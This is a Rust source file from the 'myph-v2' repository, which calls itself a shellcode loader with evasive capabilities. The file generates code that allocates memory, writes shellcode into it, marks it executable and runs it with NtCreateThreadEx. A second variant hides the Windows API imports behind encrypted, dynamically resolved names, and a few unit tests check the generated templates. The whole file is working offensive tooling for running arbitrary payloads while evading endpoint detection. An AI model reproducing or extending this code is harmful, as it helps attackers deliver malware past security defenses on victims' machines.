myph-v2~ rust shellcode loader with evasive capabilities |
| git clone https://github.com/djnnvx/myph-v2.git |
| log | files | refs | archive | README |
nt_create_thread_ex.rs (9135B)
1 pub fn nt_create_thread_ex_import() -> String { 2 r#" 3 use std::ptr; 4 "# 5 .to_string() 6 } 7 8 pub fn nt_create_thread_ex_const() -> String { 9 format!( 10 r#" 11 {} 12 13 const INFINITE: u32 = 0xFFFFFFFF; 14 const CURRENT_PROCESS_HANDLE: usize = 0xffffffffffffffff; 15 const THREAD_ALL_ACCESS: u32 = 0x1FFFFF; 16 17 {} 18 19 #[link(name = "ntdll")] 20 extern "system" {{ 21 {} 22 }} 23 24 #[link(name = "kernel32")] 25 extern "system" {{ 26 {} 27 }} 28 "#, 29 super::common::COMMON_MEMORY_CONSTANTS, 30 super::common::process_basic_information_struct(), 31 super::common::common_ntdll_externs(), 32 super::common::common_thread_management_externs(), 33 ) 34 } 35 36 pub fn nt_create_thread_ex_init() -> String { 37 String::new() 38 } 39 40 pub fn nt_create_thread_ex_process() -> String { 41 r#" 42 unsafe { 43 let mut addr: usize = 0; 44 let mut region_size: usize = shellcode.len(); 45 46 let rvalue = NtAllocateVirtualMemory( 47 CURRENT_PROCESS_HANDLE, 48 &mut addr, 49 0, 50 &mut region_size, 51 MEM_COMMIT | MEM_RESERVE, 52 PAGE_READWRITE, 53 ); 54 55 if rvalue != 0 { 56 panic!("failed"); 57 } 58 59 let rvalue = NtWriteVirtualMemory( 60 CURRENT_PROCESS_HANDLE, 61 addr, 62 shellcode.as_ptr() as *const std::ffi::c_void, 63 shellcode.len(), 64 0, 65 ); 66 67 if rvalue != 0 { 68 panic!("failed"); 69 } 70 71 let mut old_protect: u32 = PAGE_READWRITE; 72 let rvalue = NtProtectVirtualMemory( 73 CURRENT_PROCESS_HANDLE, 74 &mut addr, 75 &mut region_size, 76 PAGE_EXECUTE_READ, 77 &mut old_protect, 78 ); 79 80 if rvalue != 0 { 81 panic!("failed"); 82 } 83 84 let mut thread_handle: usize = 0; 85 let rvalue = NtCreateThreadEx( 86 &mut thread_handle, 87 THREAD_ALL_ACCESS, 88 0, 89 CURRENT_PROCESS_HANDLE, 90 addr, 91 0, 92 0, 93 0, 94 0, 95 0, 96 0, 97 ); 98 99 if rvalue != 0 { 100 panic!("failed"); 101 } 102 103 WaitForSingleObject(thread_handle, INFINITE); 104 } 105 "# 106 .to_string() 107 } 108 109 fn generate_nt_create_thread_ex_template(function_name: &str) -> String { 110 super::common::TechniqueTemplateBuilder::new() 111 .with_import(nt_create_thread_ex_import()) 112 .with_const(nt_create_thread_ex_const()) 113 .with_init(nt_create_thread_ex_init()) 114 .with_process(nt_create_thread_ex_process()) 115 .build(function_name) 116 } 117 118 pub fn generate_nt_create_thread_ex_code(function_name: &str) -> String { 119 generate_nt_create_thread_ex_template(function_name) 120 } 121 122 fn nt_create_thread_ex_process_with_dynamic_resolver( 123 encryptor: &dyn crate::encryption::Encryptor, 124 ) -> Result<String, String> { 125 use super::dynamic_common::*; 126 127 let nt_allocate = nt_allocate_virtual_memory_resolver(encryptor)?; 128 let nt_write = nt_write_virtual_memory_resolver(encryptor)?; 129 let nt_protect = nt_protect_virtual_memory_resolver(encryptor)?; 130 let nt_create_thread = nt_create_thread_ex_resolver(encryptor)?; 131 let wait_for_single = wait_for_single_object_resolver(encryptor)?; 132 133 Ok(format!( 134 r#" 135 unsafe {{ 136 let process_handle = 0xFFFFFFFFFFFFFFFFu64 as *mut std::ffi::c_void; 137 let mut base_address: *mut std::ffi::c_void = ptr::null_mut(); 138 let mut region_size: usize = shellcode.len(); 139 140 {nt_allocate_resolver} 141 {nt_allocate_cast} 142 143 let rvalue = nt_allocate_virtual_memory( 144 process_handle, 145 &mut base_address, 146 0, 147 &mut region_size, 148 MEM_COMMIT | MEM_RESERVE, 149 PAGE_READWRITE, 150 ); 151 152 if rvalue != 0 {{ 153 panic!("failed"); 154 }} 155 156 {nt_write_resolver} 157 {nt_write_cast} 158 159 let mut bytes_written: usize = 0; 160 let rvalue = nt_write_virtual_memory( 161 process_handle, 162 base_address, 163 shellcode.as_ptr() as *const std::ffi::c_void, 164 shellcode.len(), 165 &mut bytes_written, 166 ); 167 168 if rvalue != 0 {{ 169 panic!("failed"); 170 }} 171 172 {nt_protect_resolver} 173 {nt_protect_cast} 174 175 let mut old_protect: u32 = PAGE_READWRITE; 176 let rvalue = nt_protect_virtual_memory( 177 process_handle, 178 &mut base_address, 179 &mut region_size, 180 PAGE_EXECUTE_READ, 181 &mut old_protect, 182 ); 183 184 if rvalue != 0 {{ 185 panic!("failed"); 186 }} 187 188 {nt_create_thread_resolver} 189 {nt_create_thread_cast} 190 191 let mut thread_handle: *mut std::ffi::c_void = ptr::null_mut(); 192 let rvalue = nt_create_thread_ex( 193 &mut thread_handle, 194 0x1FFFFF, 195 ptr::null(), 196 process_handle, 197 base_address, 198 ptr::null(), 199 0, 200 0, 201 0, 202 0, 203 ptr::null(), 204 ); 205 206 if rvalue != 0 {{ 207 panic!("failed"); 208 }} 209 210 {wait_for_single_resolver} 211 {wait_for_single_cast} 212 213 wait_for_single_object(thread_handle, INFINITE); 214 }} 215 "#, 216 nt_allocate_resolver = nt_allocate.resolver_code, 217 nt_allocate_cast = nt_allocate.cast_code, 218 nt_write_resolver = nt_write.resolver_code, 219 nt_write_cast = nt_write.cast_code, 220 nt_protect_resolver = nt_protect.resolver_code, 221 nt_protect_cast = nt_protect.cast_code, 222 nt_create_thread_resolver = nt_create_thread.resolver_code, 223 nt_create_thread_cast = nt_create_thread.cast_code, 224 wait_for_single_resolver = wait_for_single.resolver_code, 225 wait_for_single_cast = wait_for_single.cast_code, 226 )) 227 } 228 229 fn generate_nt_create_thread_ex_template_with_dynamic_resolver( 230 function_name: &str, 231 _encryption_type: &str, 232 encryptor: &dyn crate::encryption::Encryptor, 233 ) -> Result<String, String> { 234 let process_code = nt_create_thread_ex_process_with_dynamic_resolver(encryptor)?; 235 236 Ok(super::common::TechniqueTemplateBuilder::new() 237 .with_import(nt_create_thread_ex_import()) 238 .with_const(nt_create_thread_ex_const()) 239 .with_init(nt_create_thread_ex_init()) 240 .with_process(process_code) 241 .build(function_name)) 242 } 243 244 pub fn generate_nt_create_thread_ex_code_with_dynamic_resolver( 245 function_name: &str, 246 encryption_type: &str, 247 encryptor: &dyn crate::encryption::Encryptor, 248 ) -> String { 249 generate_nt_create_thread_ex_template_with_dynamic_resolver( 250 function_name, 251 encryption_type, 252 encryptor, 253 ) 254 .unwrap_or_else(|err| { 255 panic!( 256 "Failed to generate NtCreateThreadEx code with dynamic resolver (encryption: {}): {}", 257 encryption_type, err 258 ) 259 }) 260 } 261 262 pub struct NtCreateThreadExGenerator; 263 264 impl super::trait_generator::TechniqueGenerator for NtCreateThreadExGenerator { 265 fn generate_code(&self, _process: &str, function_name: &str) -> String { 266 generate_nt_create_thread_ex_code(function_name) 267 } 268 269 fn generate_code_with_dynamic_resolver( 270 &self, 271 _process: &str, 272 function_name: &str, 273 encryption_type: &str, 274 encryptor: &dyn crate::encryption::Encryptor, 275 ) -> String { 276 generate_nt_create_thread_ex_code_with_dynamic_resolver( 277 function_name, 278 encryption_type, 279 encryptor, 280 ) 281 } 282 283 fn requires_process(&self) -> bool { 284 false 285 } 286 287 fn name(&self) -> &'static str { 288 "NtCreateThreadEx" 289 } 290 } 291 292 #[cfg(test)] 293 mod tests { 294 use super::*; 295 296 #[test] 297 fn test_generate_nt_create_thread_ex_template_contains_all_parts() { 298 let template = generate_nt_create_thread_ex_template("MyFunction"); 299 assert!(template.contains("use std::ptr")); 300 assert!(template.contains("MEM_COMMIT")); 301 assert!(template.contains("NtCreateThreadEx")); 302 assert!(template.contains("fn MyFunction")); 303 assert!(template.contains("NtAllocateVirtualMemory")); 304 } 305 306 #[test] 307 fn test_generate_nt_create_thread_ex_code() { 308 let code = generate_nt_create_thread_ex_code("MyRandomFunc"); 309 assert!(code.contains("fn MyRandomFunc")); 310 assert!(code.contains("NtCreateThreadEx")); 311 assert!(code.contains("WaitForSingleObject")); 312 } 313 314 #[test] 315 fn test_nt_create_thread_ex_includes_process_basic_information() { 316 let const_code = nt_create_thread_ex_const(); 317 // Verify ProcessBasicInformation struct is included (needed by ZwQueryInformationProcess) 318 assert!( 319 const_code.contains("struct ProcessBasicInformation"), 320 "ProcessBasicInformation struct should be included for ZwQueryInformationProcess" 321 ); 322 // Verify ZwQueryInformationProcess is included from common_ntdll_externs 323 assert!( 324 const_code.contains("ZwQueryInformationProcess"), 325 "ZwQueryInformationProcess should be included from common_ntdll_externs" 326 ); 327 } 328 }